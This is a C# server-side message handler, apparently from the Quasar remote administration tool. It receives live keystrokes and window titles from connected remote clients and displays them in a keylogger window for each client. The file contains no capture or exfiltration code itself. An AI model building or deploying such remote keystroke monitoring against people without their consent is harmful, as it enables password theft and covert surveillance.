using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Forms;
using Quasar.Server.Networking;
using System.Collections.Generic;
using System.Linq;

namespace Quasar.Server.Messages
{
    public class LiveKeyloggerHandler : IMessageProcessor
    {
        private static readonly Dictionary<Client, FrmLiveKeylogger> _openForms = new Dictionary<Client, FrmLiveKeylogger>();

        public bool CanExecute(IMessage message) => message is LiveKeystrokeData;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is LiveKeystrokeData data && sender is Client client)
            {
                lock (_openForms)
                {
                    if (_openForms.ContainsKey(client))
                    {
                        _openForms[client].AddKeystroke(data.WindowTitle, data.Keystroke);
                    }
                }
            }
        }

        public static FrmLiveKeylogger CreateOrGetForm(Client client)
        {
            lock (_openForms)
            {
                if (_openForms.ContainsKey(client))
                {
                    return _openForms[client];
                }

                var form = new FrmLiveKeylogger(client);
                form.FormClosed += (s, e) =>
                {
                    lock (_openForms)
                    {
                        _openForms.Remove(client);
                    }
                };

                _openForms.Add(client, form);
                return form;
            }
        }
    }
}
